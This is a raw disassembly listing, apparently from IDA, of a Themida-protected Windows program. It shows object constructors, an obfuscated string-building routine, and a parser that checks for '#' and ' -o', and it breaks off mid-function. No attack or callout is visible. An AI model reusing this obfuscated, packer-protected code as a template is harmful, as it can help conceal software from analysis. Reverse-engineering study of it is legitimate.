		lea	edi, [esp+478h+var_408]


loc_403591:				; CODE XREF: sub_4034E0+105j
		mov	ebp, [edi]
		test	ebp, ebp
		jz	short loc_4035E7
		lea	ecx, [esp+478h+var_438]


loc_40359B:				; DATA XREF: Themida_:0060E455o
		call	sub_401681


loc_4035A0:				; DATA XREF: sub_60FDA0+BDr
		dec	ebp
		push	eax
		lea	ecx, [esp+47Ch+var_420]
		push	ebp
		push	ecx
		lea	ecx, [esp+484h+var_468]
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+478h+var_4], 4
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+47Ch+var_450]
		call	sub_401A9B
		lea	ecx, [esp+478h+var_420]
		mov	byte ptr [esp+478h+var_4], 3
		call	sub_401226
		inc	esi


loc_4035DC:				; DATA XREF: sub_60E129+257r
					; Themida_:0060E9F5r
		add	edi, 4
		cmp	esi, 0FFh
		jb	short loc_403591


loc_4035E7:				; CODE XREF: sub_4034E0+B5j
		mov	esi, [esp+478h+arg_0]
		lea	edx, [esp+478h+var_450]
		push	edx
		mov	ecx, esi
		call	sub_4014C9
		mov	[esp+478h+var_46C], 1
		lea	ecx, [esp+478h+var_450]
		mov	byte ptr [esp+478h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+478h+var_438]
		mov	byte ptr [esp+478h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+478h+var_468]
		mov	byte ptr [esp+478h+var_4], 0
		call	sub_401226
		mov	ecx, [esp+478h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi


loc_403640:				; DATA XREF: Themida_:0060EDE2r
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 46Ch

locret_40364E:				; DATA XREF: sub_60E129+26Dr
		retn
sub_4034E0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4036B0	proc near		; CODE XREF: sub_401681j
		mov	eax, [ecx+9]
		retn
sub_4036B0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4036D0	proc near		; CODE XREF: sub_40129Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4036D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+9]
		call	sub_402207
		lea	ecx, [esi+52h]
		mov	[esp+14h+var_4], 0
		call	sub_402207
		lea	ecx, [esi+9Bh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_402207
		lea	ecx, [esi+0E4h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_402207
		lea	ecx, [esi+12Dh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_402207
		lea	ecx, [esi+176h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_402207
		lea	ecx, [esi+1BFh]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_402207
		lea	ecx, [esi+208h]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_402207
		lea	ecx, [esi+251h]
		mov	byte ptr [esp+14h+var_4], 7
		call	sub_402207
		lea	ecx, [esi+29Ah]
		mov	byte ptr [esp+14h+var_4], 8
		call	sub_402207
		lea	ecx, [esi+2E3h]
		mov	byte ptr [esp+14h+var_4], 9
		call	sub_402207
		lea	ecx, [esi+32Ch]
		mov	byte ptr [esp+14h+var_4], 0Ah
		call	sub_402207
		lea	ecx, [esi+375h]
		mov	byte ptr [esp+14h+var_4], 0Bh
		call	sub_402207
		lea	ecx, [esi+3BEh]
		mov	byte ptr [esp+14h+var_4], 0Ch
		call	sub_402207
		lea	ecx, [esi+407h]
		mov	byte ptr [esp+14h+var_4], 0Dh
		call	sub_402207
		lea	ecx, [esi+450h]
		mov	byte ptr [esp+14h+var_4], 0Eh
		call	sub_402207
		lea	ecx, [esi+499h]
		mov	byte ptr [esp+14h+var_4], 0Fh
		call	sub_402207
		lea	ecx, [esi+4E2h]
		mov	byte ptr [esp+14h+var_4], 10h
		call	sub_402207
		lea	ecx, [esi+52Bh]
		mov	byte ptr [esp+14h+var_4], 11h
		call	sub_402207
		mov	byte ptr [esp+14h+var_4], 12h
		lea	ecx, [esi+574h]
		call	sub_402207
		lea	ecx, [esi+5BDh]
		mov	byte ptr [esp+14h+var_4], 13h
		call	sub_402207
		lea	ecx, [esi+606h]
		mov	byte ptr [esp+14h+var_4], 14h
		call	sub_402207
		lea	ecx, [esi+64Fh]
		mov	byte ptr [esp+14h+var_4], 15h
		call	sub_402207
		lea	ecx, [esi+698h]
		mov	byte ptr [esp+14h+var_4], 16h
		call	sub_402207
		lea	ecx, [esi+6E1h]
		mov	byte ptr [esp+14h+var_4], 17h
		call	sub_402207
		lea	ecx, [esi+72Ah]
		mov	byte ptr [esp+14h+var_4], 18h
		call	sub_402207
		lea	ecx, [esi+773h]
		mov	byte ptr [esp+14h+var_4], 19h
		call	sub_402207
		lea	ecx, [esi+7BCh]
		mov	byte ptr [esp+14h+var_4], 1Ah
		call	sub_402207
		lea	ecx, [esi+805h]
		mov	byte ptr [esp+14h+var_4], 1Bh
		call	sub_402207
		lea	ecx, [esi+84Eh]
		mov	byte ptr [esp+14h+var_4], 1Ch
		call	sub_402207
		lea	ecx, [esi+897h]
		mov	byte ptr [esp+14h+var_4], 1Dh
		call	sub_402207
		lea	ecx, [esi+8E0h]
		mov	byte ptr [esp+14h+var_4], 1Eh
		call	sub_402207
		lea	ecx, [esi+929h]
		mov	byte ptr [esp+14h+var_4], 1Fh
		call	sub_402207
		lea	ecx, [esi+972h]
		mov	byte ptr [esp+14h+var_4], 20h
		call	sub_402207
		lea	ecx, [esi+9BBh]
		mov	byte ptr [esp+14h+var_4], 21h
		call	sub_402207
		lea	ecx, [esi+0A04h]
		mov	byte ptr [esp+14h+var_4], 22h
		call	sub_402207
		lea	ecx, [esi+0A4Dh]
		mov	byte ptr [esp+14h+var_4], 23h
		call	sub_402207
		lea	ecx, [esi+0A96h]
		mov	byte ptr [esp+14h+var_4], 24h
		call	sub_402207
		lea	ecx, [esi+0ADFh]
		mov	byte ptr [esp+14h+var_4], 25h
		call	sub_402207


loc_40395A:				; DATA XREF: sub_60FDA0+51r
					; sub_6102DC+25r
		lea	ecx, [esi+0B28h]
		mov	byte ptr [esp+14h+var_4], 26h
		call	sub_402207


loc_40396A:				; DATA XREF: sub_60FDA0+88w
					; sub_60FEB7+36r
		lea	ecx, [esi+0B71h]
		mov	byte ptr [esp+14h+var_4], 27h
		call	sub_401749


loc_40397A:				; DATA XREF: sub_60FE72+22w
					; sub_60FF96+2D1r
		lea	ecx, [esi+0B9Fh]
		mov	byte ptr [esp+14h+var_4], 28h ;	DATA XREF: Themida_:0060F6D1w
					; Themida_:0060FA5Er ...
		call	sub_401749	; DATA XREF: Themida_:0060F707w
					; Themida_:0060FB4Cr


loc_40398A:				; DATA XREF: Themida_:0060F829w
					; Themida_:0060F924w ...
		lea	ecx, [esi+0BCDh]
		mov	byte ptr [esp+14h+var_4], 29h ;	DATA XREF: sub_60F35Aw
					; sub_60F397w ...
		call	sub_401749	; DATA XREF: Themida_:loc_60F5DFr


loc_40399A:				; DATA XREF: Themida_:0060F57Cw
					; Themida_:0060FABDr ...
		lea	ecx, [esi+0BFBh]
		mov	byte ptr [esp+14h+var_4], 2Ah ;	DATA XREF: Themida_:loc_60F777w
					; Themida_:0060FB34r
		call	sub_401749	; DATA XREF: sub_60F2A4+1w
					; sub_60F2A4+30w


loc_4039AA:				; DATA XREF: sub_60F2A4+8w
					; sub_60F2A4+36w ...
		lea	ecx, [esi+0C29h]
		mov	byte ptr [esp+14h+var_4], 2Bh
		call	sub_401749


loc_4039BA:				; DATA XREF: sub_60E129+57r
		lea	ecx, [esi+0C57h]
		mov	byte ptr [esp+14h+var_4], 2Ch
		call	sub_401749


loc_4039CA:				; DATA XREF: sub_60FD23-43w
					; sub_60FD23-15r
		lea	ecx, [esi+0C85h]
		mov	byte ptr [esp+14h+var_4], 2Dh
		call	sub_401749
		lea	ecx, [esi+0CB3h]
		mov	byte ptr [esp+14h+var_4], 2Eh
		call	sub_401749
		lea	ecx, [esi+0CE1h]
		mov	byte ptr [esp+14h+var_4], 2Fh
		call	sub_401749
		lea	ecx, [esi+0D0Fh]
		mov	byte ptr [esp+14h+var_4], 30h
		call	sub_401749
		lea	ecx, [esi+0D3Dh]
		mov	byte ptr [esp+14h+var_4], 31h
		call	sub_401749
		lea	ecx, [esi+0D6Bh]
		mov	byte ptr [esp+14h+var_4], 32h
		call	sub_401749
		lea	ecx, [esi+0D99h]
		mov	byte ptr [esp+14h+var_4], 33h
		call	sub_401749
		lea	ecx, [esi+0DC7h]
		mov	byte ptr [esp+14h+var_4], 34h
		call	sub_401749
		lea	ecx, [esi+0DF5h]
		mov	byte ptr [esp+14h+var_4], 35h
		call	sub_401749
		lea	ecx, [esi+0E23h]
		mov	byte ptr [esp+14h+var_4], 36h
		call	sub_401749
		lea	ecx, [esi+0E51h]
		mov	byte ptr [esp+14h+var_4], 37h
		call	sub_401749
		lea	ecx, [esi+0E7Fh]
		mov	byte ptr [esp+14h+var_4], 38h
		call	sub_4011A4
		lea	ecx, [esi+10C7h]
		mov	byte ptr [esp+14h+var_4], 39h
		call	sub_4011A4
		lea	ecx, [esi+130Fh]
		mov	byte ptr [esp+14h+var_4], 3Ah
		call	sub_4011A4
		lea	ecx, [esi+1557h]
		mov	byte ptr [esp+14h+var_4], 3Bh
		call	sub_4011A4
		lea	ecx, [esi+179Fh]
		mov	byte ptr [esp+14h+var_4], 3Ch
		call	sub_4011A4
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E000
		mov	byte ptr [esi+4], 0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4036D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 110h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403C00	proc near		; CODE XREF: sub_401023j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403C00
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403C00	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403C70	proc near		; CODE XREF: sub_4011B3j
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43E004
		retn
sub_403C70	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403C90	proc near		; CODE XREF: sub_402207j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403C90
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401424
		lea	ecx, [esi+1Eh]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+33h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403C90	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403D10	proc near		; CODE XREF: sub_401AD2j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403D10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+33h]
		mov	[esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+1Eh]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403D10	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403D90	proc near		; CODE XREF: sub_401749j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403D90
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401424
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403D90	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403E00	proc near		; CODE XREF: sub_4011A4j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403E00
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_402207
		lea	ecx, [esi+49h]
		mov	[esp+14h+var_4], 0
		call	sub_402207
		lea	ecx, [esi+92h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_402207
		lea	ecx, [esi+0DBh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_402207
		lea	ecx, [esi+124h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_402207
		lea	ecx, [esi+16Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_402207
		lea	ecx, [esi+1B6h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_402207
		lea	ecx, [esi+1FFh]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_402207
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403E00	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403EE0	proc near		; CODE XREF: sub_40206Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403EE0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+1FFh]
		mov	[esp+14h+var_4], 6
		call	sub_401AD2
		lea	ecx, [esi+1B6h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401AD2
		lea	ecx, [esi+16Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401AD2
		lea	ecx, [esi+124h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401AD2
		lea	ecx, [esi+0DBh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401AD2
		lea	ecx, [esi+92h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401AD2
		lea	ecx, [esi+49h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401AD2
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401AD2
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403EE0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_403FC0	proc near		; CODE XREF: sub_401D34j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403FC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		push	ebp
		push	esi
		push	edi
		push	0
		push	4
		push	9
		push	4Fh
		lea	eax, [esp+70h+var_3C]
		push	2
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 18h
		push	esi
		mov	ecx, eax
		mov	[esp+64h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+0C29h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_403FC0	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4
		push	0Eh
		push	12h
		push	4Fh
		lea	edx, [esp+48h]
		push	2
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+0BCDh]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	14h
		push	15h
		push	0Fh
		push	2
		push	1
		push	4Fh
		lea	ecx, [esp+40h]
		push	2
		push	ecx
		call	sub_4019B5
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 2
		call	sub_4017E4
		lea	edx, [esi+0C57h]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	12h
		push	15h
		push	3
		push	5
		push	13h
		push	4Fh
		lea	eax, [esp+44h]
		push	2
		push	eax
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 3
		call	sub_4017E4
		lea	ecx, [esi+0DF5h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Fh
		push	6
		push	0Eh
		push	9
		push	13h
		push	19h
		push	13h
		push	4Fh
		lea	edx, [esp+48h]
		push	2
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 4
		call	sub_4017E4
		push	eax
		lea	eax, [esi+0C85h]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	16h
		push	0Fh
		push	0Dh
		push	5
		push	12h
		push	4Fh
		lea	ecx, [esp+44h]
		push	2
		push	ecx
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 5
		call	sub_4017E4
		lea	edx, [esi+0B71h]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	13h
		push	0Eh
		push	4
		push	8
		push	13h
		push	15h
		push	0Ch
		push	6
		push	4Fh
		lea	eax, [esp+4Ch]
		push	2
		push	eax
		call	sub_4019B5
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 6
		call	sub_4017E4
		lea	ecx, [esi+0DC7h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Eh
		push	5
		push	10h
		push	0Fh
		push	4Fh
		lea	edx, [esp+3Ch]
		push	2
		push	edx
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 7
		call	sub_4017E4
		push	eax
		lea	eax, [esi+0D0Fh]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	14h
		push	9
		push	15h
		push	11h
		push	4Fh
		lea	ecx, [esp+3Ch]
		push	2
		push	ecx
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 8
		call	sub_4017E4
		lea	edx, [esi+0D99h]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	4
		push	0Dh
		push	3
		push	4Fh
		lea	eax, [esp+38h]
		push	2
		push	eax
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 9
		call	sub_4017E4
		lea	ecx, [esi+0E23h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		lea	edx, [esp+38h]
		push	2
		push	edx
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Ah
		call	sub_4017E4
		push	eax
		lea	eax, [esi+0D6Bh]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	13h
		push	0Eh
		push	4
		push	4Fh
		lea	ecx, [esp+38h]
		push	2
		push	ecx
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Bh
		call	sub_4017E4
		lea	edx, [esi+0D3Dh]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	0Dh
		push	9
		push	14h
		push	10h
		push	15h
		push	0Ch
		push	4Fh
		lea	eax, [esp+48h]
		push	2
		push	eax
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Ch
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+0CB3h]
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4Fh
		lea	edx, [esp+3Ch]
		push	2
		push	edx
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Dh
		call	sub_4017E4
		push	eax
		lea	eax, [esi+0CE1h]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		db 8Dh,	4Ch, 24h
		dd 247C8924h, 0CE20E85Ch, 4E8DFFFFh, 0D3D6E809h, 4C8DFFFFh
		dd 51500C24h, 0FFDC09E8h, 8C483FFh, 256A006Ah, 236A1D6Ah
		dd 3424548Dh, 0C752286Ah, 0E742444h, 0E8000000h, 0FFFFD57Dh
		dd 8B18C483h, 244C8DE8h, 2444C60Ch, 99E80F5Ch, 50FFFFD3h
		dd 91E8CD8Bh, 50FFFFD3h, 4435F468h, 60B56800h, 0A8E8004Dh
		dd 83FFFFD9h, 4C8D10C4h, 44C62424h, 0E80E5C24h,	0FFFFCDB2h
		dd 448D206Ah, 6A4024h, 244C8D50h, 0CE2CE818h, 0C88BFFFFh
		dd 5C2444C6h, 0D352E810h, 6850FFFFh, 4435F0h, 4E6E8568h
		dd 0CB8BE800h, 0C483FFFFh, 2444C60Ch, 4C8D0E5Ch, 73E83C24h
		dd 0E8FFFFCDh, 23DC386h, 0B8C88B90h, 10624DD3h,	0EAC1E1F7h
		dd 244C8D06h, 556890Ch,	5C247C89h, 0FFCD51E8h, 244C8BFFh
		dd 5D5E5F54h, 0D8964h, 83000000h, 90C354C4h, 2 dup(90909090h)
		dd 54h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_404640	proc near		; CODE XREF: sub_401A32j

var_88		= dword	ptr -88h
var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	0FFFFFFFFh
		push	offset SEH_404640
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 7Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+94h+arg_0]
		mov	ebp, ecx
		push	edi
		lea	ebx, [esi+2Ah]
		push	0
		mov	ecx, ebx
		mov	[esp+9Ch+var_88], ebp
		call	sub_40146F
		mov	cl, [eax]
		lea	edi, [esi+69h]
		cmp	cl, 23h
		jnz	short loc_404682
		push	ebx
		jmp	short loc_404686
; ---------------------------------------------------------------------------


loc_404682:				; CODE XREF: sub_404640+3Dj
		lea	eax, [esi+15h]
		push	eax


loc_404686:				; CODE XREF: sub_404640+40j
		mov	ecx, edi
		call	sub_401FBE
		mov	al, [esi+94h]
		test	al, al
		jz	short loc_4046A2
		lea	ecx, [esi+15h]
		push	ecx
		mov	ecx, edi
		call	sub_401FBE


loc_4046A2:				; CODE XREF: sub_404640+55j
		mov	al, [esi+95h]
		test	al, al
		jz	short loc_40471F
		lea	ecx, [esp+98h+var_6C]
		call	sub_401424
		push	offset aO	; " -o"
		mov	ecx, esi
		mov	[esp+9Ch+var_4], 0
		call	sub_4013E3
		add	eax, 3
		lea	edx, [esp+98h+var_54]
		push	eax
		push	edx
		mov	ecx, esi
		call	sub_401E2E
		push	eax
		lea	ecx, [esp+9Ch+var_6C]
		mov	byte ptr [esp+9Ch+var_4], 1
		call	sub_401FBE
		lea	ecx, [esp+98h+var_54]
		mov	byte ptr [esp+98h+var_4], 0
		call	sub_401226
		lea	eax, [esp+98h+var_6C]
		mov	ecx, edi
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+98h+var_6C]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226


loc_40471F:				; CODE XREF: sub_404640+6Aj
		push	offset asc_443600 ; " "
		lea	ecx, [esp+9Ch+var_6C]
		push	0
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		lea	edx, [esp+98h+var_54]
		mov	ebx, 2
		push	1
		push	edx
		mov	ecx, eax
		mov	[esp+0A0h+var_4], ebx
		call	sub_401E2E
		lea	edi, [esi+7Eh]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+9Ch+var_4], 3
		call	sub_401FBE
		lea	ecx, [esp+98h+var_54]
		mov	byte ptr [esp+98h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+98h+var_6C]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		push	0
		lea	ecx, [ebp+32Ch]
		call	sub_40146F
		push	0
		mov	ecx, esi
		mov	ebp, eax
		call	sub_40146F
		mov	al, [eax]
		mov	cl, [ebp+0]
		cmp	al, cl
		jnz	loc_4049EA
		push	0
		push	14h
		push	1
		push	5
		push	10h
		push	5
		push	12h
		push	4Eh
		push	14h
		push	0Fh
		lea	ecx, [esp+0C0h+var_54]
		push	ebx
		push	ecx
		call	sub_4019B5
		add	esp, 30h
		mov	ecx, eax
		mov	[esp+98h+var_4], 4
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40480F
		sub	esp, 18h
		lea	edx, [esi+15h]
		mov	ecx, esp
		mov	[esp+0B0h+arg_0], esp
		push	edx
		call	sub_4014C9
		mov	ecx, offset word_448C9E
		call	sub_401CD0
		test	eax, eax
		jz	short loc_40480F
		mov	bl, 1
		jmp	short loc_404811
; ---------------------------------------------------------------------------


loc_40480F:				; CODE XREF: sub_404640+1A6j
					; sub_404640+1C9j
		xor	bl, bl


loc_404811:				; CODE XREF: sub_404640+1CDj
		lea	ecx, [esp+98h+var_54]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		test	bl, bl
		jz	loc_4049CE
		push	offset asc_443600 ; " "
		lea	eax, [esp+9Ch+var_54]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		push	offset byte_446F70
		mov	ecx, eax
		mov	[esp+9Ch+var_4], 5
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+98h+var_54]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		setz	bl
		call	sub_401226
		test	bl, bl
		jnz	loc_4049EA
		push	offset asc_443600 ; " "
		lea	ecx, [esp+9Ch+var_54]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+var_4], 6
		call	sub_4017E4
		push	eax
		nop
